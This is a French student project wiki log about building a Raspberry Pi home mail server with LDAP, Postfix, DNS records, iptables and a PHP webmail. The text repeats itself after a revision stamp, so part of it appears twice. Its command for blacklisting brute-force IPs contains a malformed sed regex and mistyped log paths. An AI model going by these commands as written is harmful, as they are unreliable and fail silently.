Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===
===Semaine 14 (04/01/2016)===
===Semaine 15 (11/01/2016)===
===Semaine 16 (18/01/2016)===
===Semaine 17 (25/01/2016)===
===Semaine 18 (01/02/2016)===
===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : http://projets-imasc.plil.net/mediawiki/index.php?title=Fichier:P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

P9 Système d'hébergement domestique

2015-12-15T07:30:01Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

